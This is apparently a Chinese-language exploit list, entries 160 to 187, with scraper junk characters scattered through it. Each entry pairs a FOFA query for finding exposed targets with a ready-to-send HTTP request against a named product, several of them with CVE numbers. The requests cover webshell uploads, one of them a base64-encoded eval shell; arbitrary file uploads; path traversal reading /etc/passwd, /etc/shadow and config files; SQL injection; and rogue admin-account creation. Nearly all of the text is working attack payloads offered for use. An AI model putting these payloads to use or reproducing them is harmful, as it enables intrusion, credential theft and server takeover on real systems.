FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
# r8 K3 \' F! q& ?; S) v% KPOST /webservices/WebJobUpload.asmx HTTP/1.1
: J  m9 @0 l' O3 n) H& ?/ FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
) i1 C8 q# b1 L' uContent-Type: text/xml; charset=utf-8
8 p8 W/ z6 L9 T( }Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
; v) L4 u/ n8 A, p1 s1 @, Z9 G<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
4 l; [# Q3 _; r: L5 l2 b( s<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
! i( ~1 d/ q  j: I' d<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
# H8 T' a$ b! d+ i+ |/ {9 f3 y) M<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
3 i0 K4 Z- _* O* L</jobUpload>
" `* a: P8 L' y( m( L* j</soap:Body>
1 ~! y: [% n$ W+ D/ y8 _</soap:Envelope>

" B" c5 A9 r& x/ J% I6 v
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
$ x+ J8 w: l7 v* G9 g) ~) N1 u
. ~3 y0 T2 @$ `1 p# h
* a4 z5 c9 K& N& C% H( _% T160. Sonatype Nexus Repository 3目录遍历与文件读取
1 a5 e) b* v; V/ p. r" vCVE-2024-4956
FOFA：title="Nexus Repository Manager"
+ c9 z0 p" Y) a1 B. g- |GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
$ ]2 H  ^  h/ }# R. S2 KUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
* p+ ~2 a; Y* P$ E7 Z' jAccept: */*
Accept-Language: en
2 F5 Z6 O4 K" a* h, WAccept-Encoding: gzip


5 }' s/ ?/ I4 C161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
; ]" T, m6 o* jFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
: T6 p( w- U7 [% _5 ~/ c' n  M0 kPOST /Webservice.asmx HTTP/1.1
/ d; Q- R! e  J5 N% OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
& ]" b1 O, A2 A) fConnection: close
# c4 Y( q2 O: @& k1 H& E7 x$ C- MContent-Length: 445
Content-Type: text/xml
' I, k. S. [4 b1 m& r9 u& I# w- eAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
/ V6 F9 x, q3 A% i& W<soap:Envelope xmlns:xsi="
% x  X; t1 T. _http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
# L' d6 M: G' y2 f4 T+ ?5 s9 A8 Lxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
0 G2 Q6 ^- z& S<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
- k- h  a7 ~0 Q, T# A/ m* K<fileName>../../../../dizxdell.aspx</fileName>
% k9 V! R' K) [9 o3 [7 i<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
+ c% Q, Q0 Z! X; ]. p) a- @<tag>3</tag>
* ~; F3 ]% o0 T! _</UploadResume>
  b! Z. P2 k. M( j</soap:Body>
</soap:Envelope>
4 ~: W6 s6 e% T- f! W
+ ]/ K. y% L) f1 Q& t8 x
http://x.x.x.x/dizxdell.aspx
' P* T- f. t8 ~
+ _3 g1 N& P+ Z) r  Q' M3 p162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
% {) J4 e# R" \' n1 p3 N( j3 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
$ B  t: U$ X, z. a8 m$ n% P' ^2 FConnection: close
Content-Length: 583
( P: R/ |) w; \4 B7 F3 PContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
7 R6 X& V( L/ O, k* hAccept-Encoding: gzip
- ?5 ]5 J8 g0 ]. Y
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
" K4 h8 N/ e' h: {, r3 kContent-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
9 d1 f' i0 g+ j  m1 y" [8 JContent-Disposition: form-data; name="action"

4 v! g& o% p5 i& b3 aupload
) b2 F8 P7 Z5 A( U/ d0 g* |------WebKitFormBoundaryeegvclmyurlotuey
/ Y0 i' z; [, |2 n2 C1 K' OContent-Disposition: form-data; name="responderId"

+ X: g  N. U( D4 j3 R) ~6 ZResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
& r3 O1 {4 E! PContent-Disposition: form-data; name="remotePath"
. v- n( _$ k; A+ c5 S1 D) Q$ c
! h: O  U6 }* X/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


. I9 j% s$ O( t, f) xhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
( O% Q% r# |7 ^8 y9 [- @6 a4 fPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
- ?' S  X  i* H: M$ Z1 z1 fConnection: close
$ y" ~3 w- S/ g( n% U! MContent-Length: 293
Accept: */*
& q& U+ o8 k2 t  b6 ?" {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 M1 m8 j/ H" j: `& u* ?( }Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
  G7 W( Z/ r4 r. s. h7 a4 u
- i: D0 D0 G! f------iiqvnofupvhdyrcoqyuujyetjvqgocod
9 x! g  E% f. w4 `7 V4 L1 v: N8 zContent-Disposition: form-data; name="name"
3 y, o5 G; L( }" @8 z: Y. j2 w$ q
  A" h7 Z7 Z/ D5 L* s1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
% I. G$ j+ |3 d- aContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
. @7 V% d& X9 @7 m& H1 C( p4 H% ]3 c
rvjhvbhwwuooyiioxega
; u. J/ r, `' q, [8 i; m, w6 p------iiqvnofupvhdyrcoqyuujyetjvqgocod--
3 ]$ j$ e3 b+ J0 w/ S
4 _$ C# N  |* P, z/ |
  s! n+ x. V! R2 z: f; H' S$ _8 Y164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
( a4 f- U9 L! `FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
6 G7 J- B$ S) W  uContent-Length: 288
  u( e$ z3 h* X2 i, v) ^8 iAccept: application/json, text/javascript, */*; q=0.01
5 R0 ^! c2 k( }: |6 X+ K. YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
5 w+ o' q7 _6 {/ dConnection: close
1 x8 b5 A; i0 U; Z# H/ I: B3 oContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
& O) Q# B4 e) M- qX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
7 f2 I: y3 z( X( E/ j$ L" kContent-Type: image/jpeg
$ D1 A0 h. h5 n2 c* t& y# _' L" b
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
9 u8 p5 t5 r0 K8 C, ~------dqdaieopnozbkapjacdbdthlvtlyl--

! @6 _. s! U' _* f+ R. B
' W' W- x! ~6 @1 `/ fhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
- p2 D; }6 Y0 G# ~
* k/ ^0 P5 d( [165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
, M+ _9 e9 _7 x/ UUpgrade-Insecure-Requests: 1
0 {/ O0 V. I3 E' D) _* }* kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( o9 t3 g3 ~- ]6 w) _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
! n8 N0 Q* O1 k; T" R( xCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
+ Y* \$ }% T3 \Content-Type: application/x-www-form-urlencoded
8 L% ^+ ~+ X, k! hContent-Length: 89

: K# y7 {% F9 m0 u" d# h8 NMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
7 `2 C! Y( c) v% r; l' m  K
. o0 r9 f1 V; g- ~" p3 R6 p- S
$ V: Y& s% i% R( g167. 精益价值管理系统 DownLoad.aspx任意文件读取
* h$ U  c" t& b, N) SFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
: K; B3 b/ e1 c/ D% Z) zGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
: H6 L5 f- @# B$ R! `. mAccept-Encoding: gzip, deflate
Accept: */*
; Y0 H: N+ e3 c* p" @: @3 _Connection: keep-alive
; V# [' [" q/ X7 G

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
9 {- p7 V- {# q4 O: A* y$ A6 oGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
/ }, G8 ~0 g- u6 t4 A6 z$ r" NContent-Type: application/x-www-form-urlencoded
) A& [6 d) d: j; z; n+ RConnection: close


2 Z1 {5 e  D& c* E
& X1 s: X, ^9 G( w; b1 H169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
9 ^: r" ]  M* {8 P0 C3 {3 HGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
8 Y5 X  ?8 [: ^5 o& d- \Host: your-ip
% o% V/ [- w; U$ |7 V+ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
1 K4 I2 `& Q" s4 BAccept-Encoding: gzip, deflate
  ~, D2 R: I1 a3 QConnection: close
+ `8 R1 Q" P' _: h  ^6 U

" S5 ^% j1 g' ~. p3 |
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
* m- ]/ h+ n5 k% pFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
% M6 d% c; W" w' CUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' R6 |# y* z4 D; fContent-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml

  V! c' z3 A$ K8 [& E
) k) n8 O* W# E" {2 K0 h" N# [! \171. 通天星CMSV6车载定位监控平台 SQL注入
8 ?4 i' {# f; ?9 gFOFA：body="/808gps/"
# v! q4 |8 _7 i0 M9 s, `GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
0 X3 e& h' H/ u4 N5 k8 f* t6 u6 n9 CHost: your-ip
7 U: h/ R7 [8 Y' Y. B7 H3 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
" ]" s$ B6 b+ g$ N" _Accept: */*
  q/ h1 w, s" d5 e/ r+ F" T0 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
7 r9 [8 b7 W! b


1 E0 R  C3 t- o( S172. DT-高清车牌识别摄像机任意文件读取
2 W6 |! v- [0 t1 B* c4 GFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
& l: @8 G" K( Q* PHost: your-ip
0 T4 j3 I* U: L$ b5 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 X* M! p& E. w* v; bAccept-Encoding: gzip, deflate
# ]: b# a0 {7 pAccept: */*
; D% y1 H; r% E. C  t3 JConnection: keep-alive



- G& I5 |. U# r2 a' _/ D173. Check Point 安全网关任意文件读取
& S) t. j0 |0 FCVE-2024-24919
7 Q" W4 h4 a1 A: \% Q' QFOFA：app="Check_Point-SSL-Network-Extender"
- t- P- f& {7 tPOST /clients/MyCRL HTTP/1.1
Host: your-ip
6 {1 V5 c  Y- U, l. Z* cContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow



174. 金和OA C6 FileDownLoad.aspx 任意文件读取
+ y$ g5 T" Q8 K( W& KFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
5 X1 p8 m2 d* C: ]2 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
( `* c* m0 N* j' c8 C/ \# lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: r: @0 l: h# E6 n) pAccept-Encoding: gzip, deflate, br
1 f1 G+ ~0 X& E% y* F2 o8 ~Accept-Language: zh-CN,zh;q=0.9
1 b; O, M' P. l, b2 QConnection: close



175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
8 h+ u4 }. T& _0 v0 tFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
2 ^0 b. M7 @9 A0 L' _7 P2 |Host:
9 v. q9 d3 }9 k; KUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ s& v. E* K5 D: L; bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, V3 l) m, W/ q6 ZConnection: close
Upgrade-Insecure-Requests: 1
0 Y: ]3 C( e! j0 l+ e

176. 电信网关配置管理系统 rewrite.php 文件上传
# S+ f* ~1 d# c* I, ^/ h& P  HFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
& J" m7 R' _0 |! B0 rHost: your-ip
% I7 H& ~* C1 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
2 g/ I4 y* M" I1 ~Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
3 P7 O/ c7 p9 b2 ?Connection: close
1 s# V, k% ^  z7 I0 q' {& t
& Y- f) O1 l0 B' z' O- b1 ^------WebKitFormBoundaryOKldnDPT
- F0 ?# }( ]3 C2 {) h8 hContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
& K  Z) B5 ^6 R) d. R$ x$ Y------WebKitFormBoundaryOKldnDPT
6 a7 \" v% M) T9 T' eContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
9 p* [" f  N6 {- Q3 m3 Q5 q
/ l6 O! w# `4 l5 n$ V: {
6 ?1 z1 `1 v( r' c' `
9 s/ K9 {& `6 h4 Q1 ]177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
: F3 D" r5 ?/ w1 F/userLogin.asp/../actionpolicy_status/../M60.cfg
* N5 N2 U9 N# N3 _  M/userLogin.asp/../actionpolicy_status/../GR8300.cfg
  ?  i5 a- v+ V- e. D/ J0 u4 ]/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
3 N8 w  |' X, A, @! D" y/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
% t; o9 a' i- r5 c* C) T3 {/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
% T9 |* x. B' w4 L9 `1 _) O5 Y/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
" l) ^. p9 E8 g7 s/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/ k6 ~  [* d2 V6 Z) l/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
5 C. t/ q+ r( A- t" J/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
9 c0 ]7 E5 `7 e6 w, ]/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

1 O5 T: j& F3 T9 O2 U$ q
( V9 |* |# v( |9 o$ b5 O% C- ~178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
- t+ J% p1 q% t* EPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
, u' }* g. v! l+ L5 c0 z8 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
+ D4 b5 d/ C$ ]! {- q  G% w7 dAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
9 ^6 [3 p8 x( D$ T5 |! TContent-Type: application/octet-stream
1 f# [) n' r) J/ m0 k* U6 R' e/ u. g) ?Content-Length: 255
9 E; \* G! U' y! n* x
4 s- s6 I! M9 `8 h; V4 M; x2 s12234
8 U7 w: Y1 ], e* i) [-----------------aqutkea7vvanpqy3rh2l--


# }; F9 |4 M9 Q$ N4 [9 F- FGET /imc/primepush/%2e%2e/flex/12234.txt


2 _8 S# c7 k1 P2 X( W179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=

/ r, F; E; {8 Q7 m$ T5 c8 A: O7 z
+ M$ Z- v, e% w  T0 n* V% |( J% N180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
5 Z' A9 h4 R6 S/ r* p& `; {GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
/ M7 _0 ^3 Q# MHost: your-ip
6 ^: m% o; Z. o6 [" qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' Q; L) u8 U5 E7 E& d& W! w$ r- |% l: Z& OAccept-Encoding: gzip, deflate
& z! e0 Z. |6 |$ @/ c/ dAccept-Language: zh-CN,zh;q=0.9
7 Y) E  T/ k) tConnection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
3 k0 l; T7 k$ k1 Z9 vFOFA："PDCA/js/_publicCom.js"
# |- f; h3 B6 Q" V5 g( s4 ^( rPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' `% x, G8 {$ H$ W9 }" lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 `% w8 U0 f1 X  y* k' o6 F: qAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
6 F9 G# M# X! U8 W, B) \" s
# ~: V2 u4 y) L; s$ x# z
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

: ]1 X& }, R$ `/ A
6 F3 \& |8 Q2 y& z2 d( P182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
+ d% W0 v- F$ m! a9 `4 @# {8 W1 JPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
( E; ~$ k" C9 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
: R6 q0 |1 b) O: ^0 s' ^7 yConnection: close
8 L" W. B0 |3 W0 G; R4 W/ `; fContent-Type: application/x-www-form-urlencoded
# G3 y5 R; b; Y3 J

6 M, M% Z7 P  b( S, \7 `& q3 m. Cusername=test1234&pwd=test1234&savedays=1
# f6 j+ p+ f7 S+ t& D' H
( t9 B1 E4 Z2 I( X) b( [
& |7 I( I1 o0 U1 D! T: y! J183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
0 A5 b. O1 d, x3 w: KFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
5 ^3 \, k4 c. u9 E; E4 nHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
2 {8 l" ^1 {" I, |Connection: close
. D4 S3 L: T% C% i0 `; y

8 f8 z" l, S8 q" D" C# q184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 z5 m0 O' i0 o+ p9 X& pAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, W8 v( b' C; P) D7 ^X-Requested-With: XMLHttpRequest


' T! i! ?7 W5 m3 Qinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


) ~# I8 b3 S3 }+ w. S. S185. 瑞友天翼应用虚拟化系统SQL注入
3 y3 S0 a1 J5 Eversion < 7.0.5.1
- Q: |; D5 ?$ D, H+ P/ v2 uFOFA：app="REALOR-天翼应用虚拟化系统"
" q6 T8 H5 ?2 z" N/ S% ?GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
" u# ~- e! c1 G& v* B, i, oHost: host


186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
, Q6 b9 N* E" U8 t, UPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
5 l' ?' I1 z8 J7 z; c- |5 SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
/ @$ ]6 ^  p3 ]& W6 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

+ O  y  S2 e' u0 A! t$ Treq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
4 ]& \$ h: p) I+ d" y# p& c1 A. d* [CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
  f8 B) L2 S. M  Z$ G& [5 A6 hHost: your-ip
Content-Type: application/x-www-form-urlencoded

+ e+ a  S1 ]/ g$ c: p6 G
